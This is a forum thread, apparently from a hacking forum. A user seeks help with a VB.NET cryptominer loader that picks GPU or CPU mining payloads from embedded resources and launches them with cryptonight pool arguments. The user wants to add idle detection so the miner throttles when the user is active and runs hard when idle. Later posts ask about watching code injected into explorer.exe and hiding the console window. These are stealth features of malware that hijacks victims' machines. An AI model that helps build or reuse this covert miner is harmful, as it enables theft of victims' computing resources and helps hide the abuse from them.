Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Idle check

Hey guys, can anyone help me with this? :D

I added Gigajews code as class to project:

Code
Imports System
Imports System.Drawing
Imports System.Runtime.InteropServices
Imports System.Text

Public Class User
   Private Const V As Integer = &H80000000

   Public Shared ReadOnly Property Name As String
       Get
           Return Environment.UserName
       End Get
   End Property

   Public Shared ReadOnly Property ComputerName As String
       Get
           Return Environment.MachineName
       End Get
   End Property

   Public Shared ReadOnly Property Avatar As Image
       Get
           Return Image.FromFile(GetAvatarPath(Name))
       End Get
   End Property

   Public Shared ReadOnly Property Idle As Boolean
       Get
           Return GetTimeSinceLastInput().TotalMinutes >= 1
       End Get
   End Property

   Public Shared Function GetTimeSinceLastInput() As TimeSpan
       Return TimeSpan.FromMilliseconds(GetMillisecondsSinceLastInput())
   End Function

   Public Shared Function GetMillisecondsSinceLastInput() As Integer
       Dim info = New LASTINPUTINFO()
       info.cbSize = CUInt(Marshal.SizeOf(info))
       GetLastInputInfo(info)
       Dim ticks = Environment.TickCount
       Return ticks - info.dwTime
   End Function

   Public Shared Function GetAvatarPath(ByVal username As String) As String
       Dim sb = New StringBuilder(1000)
       GetUserTilePath(username, V, sb, sb.Capacity)
       Return sb.ToString()
   End Function

   <DllImport("user32.dll")>
   Private Shared Function GetLastInputInfo(ByRef info As LASTINPUTINFO) As IntPtr

   End Function
   <DllImport("shell32.dll", EntryPoint:="#261", CharSet:=CharSet.Unicode, PreserveSig:=False)>
   Private Shared Sub GetUserTilePath(ByVal username As String, ByVal unused As UInteger, ByVal path As StringBuilder, ByVal length As Integer)

   End Sub
End Class

<StructLayout(LayoutKind.Sequential)>
Public Structure LASTINPUTINFO
   <MarshalAs(UnmanagedType.U4)>
   Public cbSize As UInteger
   <MarshalAs(UnmanagedType.I4)>
   Public dwTime As Integer
End Structure

Could you help me use this class in this code below?


Code
  Public Shared Sub RunIt()
       Try
           Dim Args As String = ""
           Dim xmr As Byte() = Nothing

           If GetTheSpec.ToLower.Contains("nvidia") Then
               If IO.Directory.Exists("C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\") Then
                   For Each folder As String In IO.Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\NVIDIA GPU Computing Toolkit\CUDA")
                       If folder.Contains("v8") Then
                           Args = "--cuda-bfactor=12 --cuda-bsleep=100"
                           xmr = GetTheResource("#nvidia")
                       ElseIf folder.Contains("v9") Then
                           Args = "--cuda-bfactor=12 --cuda-bsleep=100"
                           xmr = GetTheResource("#nvidia2")
                       Else
                           Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
                           xmr = GetTheResource("#cpu")
                       End If
                   Next
               End If

           ElseIf GetTheSpec.ToLower.Contains("amd") Then
               Args = "--opencl-platform=0 --opencl-devices=0 --opencl-launch=1600x8,1600x8,1600x8"
               xmr = GetTheResource("#amd")
           Else
               Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
               xmr = GetTheResource("#cpu")
           End If


           GetTheLoad(GetTheResource("#dll"), "-B --donate-level=1 -a cryptonight --url=#URL -u #USER -p #PWD -R --variant=-1 " + Args, xmr)
       Catch ex As Exception
       End Try
   End Sub

I was thinking about something like this:
     Changing this -->        { mine.constantly at 50% CPU/GPU}
                              into
             {mine.if.IDLE at 90% CPU/GPU
                  mine.if.ACTIVE at 20% CPU/GPU}

Can i create If ... then... end if, using user.IDLE?
And will it work after execution? While runtime? I mean, how to code it so it will change everytime when user.IDLE changes value after exe is already executed?




Thanks  🤩


Ok, i tested something and got this:

Class User
Code
Imports System
Imports System.Drawing
Imports System.Runtime.InteropServices
Imports System.Text

Public Class User
    Private Const V As Integer = &H80000000

    Public Shared ReadOnly Property Name As String
        Get
            Return Environment.UserName
        End Get
    End Property

    Public Shared ReadOnly Property ComputerName As String
        Get
            Return Environment.MachineName
        End Get
    End Property

    Public Shared ReadOnly Property Idle As Boolean
        Get
            Return GetTimeSinceLastInput().TotalMinutes >= 1
        End Get
    End Property

    Public Shared Function GetTimeSinceLastInput() As TimeSpan
        Return TimeSpan.FromMilliseconds(GetMillisecondsSinceLastInput())
    End Function

    Public Shared Function GetMillisecondsSinceLastInput() As Integer
        Dim info = New LASTINPUTINFO()
        info.cbSize = CUInt(Marshal.SizeOf(info))
        GetLastInputInfo(info)
        Dim ticks = Environment.TickCount
        Return ticks - info.dwTime
    End Function

    <DllImport("user32.dll")>
    Private Shared Function GetLastInputInfo(ByRef info As LASTINPUTINFO) As IntPtr

    End Function
    <DllImport("shell32.dll", EntryPoint:="#261", CharSet:=CharSet.Unicode, PreserveSig:=False)>
    Private Shared Sub GetUserTilePath(ByVal username As String, ByVal unused As UInteger, ByVal path As StringBuilder, ByVal length As Integer)

    End Sub

End Class

<StructLayout(LayoutKind.Sequential)>
Public Structure LASTINPUTINFO
    <MarshalAs(UnmanagedType.U4)>
    Public cbSize As UInteger
    <MarshalAs(UnmanagedType.I4)>
    Public dwTime As Integer
End Structure

Module1 to test if Idle is working
Code
Module Module1

    Sub Main()
        System.Threading.Thread.Sleep(62000)
        If User.Idle = True Then
            Console.WriteLine("play some games, man")
        Else Console.WriteLine("go ride a bike or sth u twat :/")
        End If
        Console.Write("...")
        Console.ReadKey(True)

    End Sub

End Module

And it worked. Now i need to add this Class User to Project, and use it in similar way right?
You guys are so helpful :D
anyway, i couldn't figure out how to modify this code above :/
so i found simple watchdog in C#

pastebin.com/r63dFBm6

Pastebin instead of code due to HF firewall


And now, i have 2 questions:

1. If my exe is being injected into another process (explorer.exe), do i setup watchdog to watch over explorer.exe? how will i know which explorer.exe is the one with injected code?

2. I tried to set Watchdog to work in background but still its bringing up CMD.

😧


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by OCTRAINJun 11, 2021 10:18 AM 2 180 Jun 11, 2021 10:18 AM
Last Post: arsium
[Shell] by HackooOct 15, 2020 01:45 AM 1 166 Oct 15, 2020 01:45 AM
Last Post: Hackoo
[Python] by Johan CruyffApr 4, 2020 08:15 AM 2 125 Apr 4, 2020 08:15 AM
Last Post: lnvisible